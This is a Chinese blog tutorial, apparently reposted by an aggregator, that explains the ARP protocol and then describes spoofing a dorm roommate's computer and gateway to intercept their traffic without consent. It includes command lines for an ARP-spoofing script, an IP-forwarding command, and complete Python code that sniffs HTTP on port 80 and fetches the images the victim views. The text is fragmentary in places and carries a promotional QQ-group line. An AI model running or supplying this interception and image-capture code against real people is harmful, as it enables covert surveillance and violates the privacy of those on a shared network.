概述
序
这篇文章研究了arp协议,并且利用Python编程实现一次简单的局域网arp攻击,抓取室友网上浏览的图片(滑稽脸)
二、arp协议研究
在进行arp攻击之前,先来研究一下arp协议
进群:548377875 即可获取数十套PDF哦!
1.arp协议数据包
局域网内所有机器接收此arp请求,如果发现请求的ip为自己的ip便会向请求机器发送arp响应,将自己的MAC地址带入arp响应包单播发送给请求的机器,arp响应包主要字段如下
同样的网关在不断接受到此arp响应时也会不断的更新自己的arp缓存去建立错误的关系,我们的kali攻击机便可以双向的截获流量
4.用python实现arp攻击
所需的python第三方库
scapy库:scapy是一个可用于网络嗅探的非常强大的第三方库。可以伪造,嗅探或发送网络数据包,这这里我们使用scapy库伪造arp响应包并发送,首先安装scapy库,kali默认自带
pip install scapy
模拟攻击环境,一个真实的局域网,就是我们寝室
5.编写python代码:
6.脚本使用到的scapy库中的几个函数
get_if_hwaddr("本地网卡名称(eth0/wlan0)") 根据所选择的本地网卡获取相应的本地网卡的MAC地址
所以我们这样输入可以双向的欺骗网关和目标机器完中间人攻击
python arpattack.py -i 网卡 -t 要攻击的目标的ip地址 -g 网关ip
输入
python arpattack.py -i wlan0 -t 192.168.0.8 -g 192.168.0.1
选择无线网卡wlan0的MAC地址去欺骗室友的电脑和网关路由器,如果我和室友都插了网线,就要选择eth0
运行脚本便会不断的向室友的电脑和网关发送arp响应包进行双向欺骗,效果如下
这时我们截获了室友电脑和网关之间的流量,使其不能相互通信,完成了arp断网
echo "1">/proc/sys/net/ipv4/ip_forward
开启流量转发,这时室友和网关正常通讯,但是流量会经过我们的网卡
接下来用python编写代码查看室友电脑浏览的网页图片,其实不难,因为浏览图片一般都是向服务器发送一次请求图片的http请求,所以只需从经过我们网卡的流量中过滤tcp80端口的数据包(http协议),将数据包的头部层层去掉,最后便能得到应用层的http数据包,在利用正则表达式将http://*.jpg筛选出来即可知道室友请求了哪些图片,python的pcap库和dpkt库可以使我们很容易的得到电脑网卡流量中的http应用层数据包
python代码如下stealimg.py
import pcap
import dpkt
import re
import requests
from PIL import Image
from io import BytesIO
from optparse import OptionParser
import sys
urllist=[]
def main():
usage="Usage: [-i interface]"
parser=OptionParser(usage)
parser.add_option('-i',dest='interface',help='select interface(input eth0 or wlan0 or more)')
(options,args)=parser.parse_args()
if options.interface:
interface=options.interface
pc=pcap.pcap(interface)
pc.setfilter('tcp port 80')
for ptime,pdata in pc:
getimg(pdata)
else:
parser.print_help()
sys.exit(0)
def getimg(pdata):
global urllist
p=dpkt.ethernet.Ethernet(pdata)
if p.data.__class__.__name__=='IP':
if p.data.data.__class__.__name__=='TCP':
if p.data.data.dport==80:
pa=re.compile(r'GET (.*?.jpg)')#|.*?.png|.*?.gif
img=re.findall(pa,p.data.data.data)
if img!=[]:
lines=p.data.data.data.split(' ')
for line in lines:
if 'Host:' in line:
url='http://'+line.split(':')[-1].strip()+img[-1]
if url not in urllist:
urllist.append(url)
if 'Referer:' in p.data.data.data:
for line in lines:
if 'Referer:' in line:
referer=line.split(':')[-1].strip()
print url
r=requests.get(url,headers={'Referer':referer})
img=Image.open(BytesIO(r.content))
img.show()
else:
r=requests.get(url)
img=Image.open(BytesIO(r.content))
img.show()
else:
pass
if __name__=='__main__':
main()
总结
以上是编程之家为你收集整理的表弟天天宅在卧室也不出门!我用Python监控了他浏览的网页!捂脸全部内容,希望文章能够帮你解决表弟天天宅在卧室也不出门!我用Python监控了他浏览的网页!捂脸所遇到的程序开发问题。
如果您也喜欢它,动动您的小指点个赞吧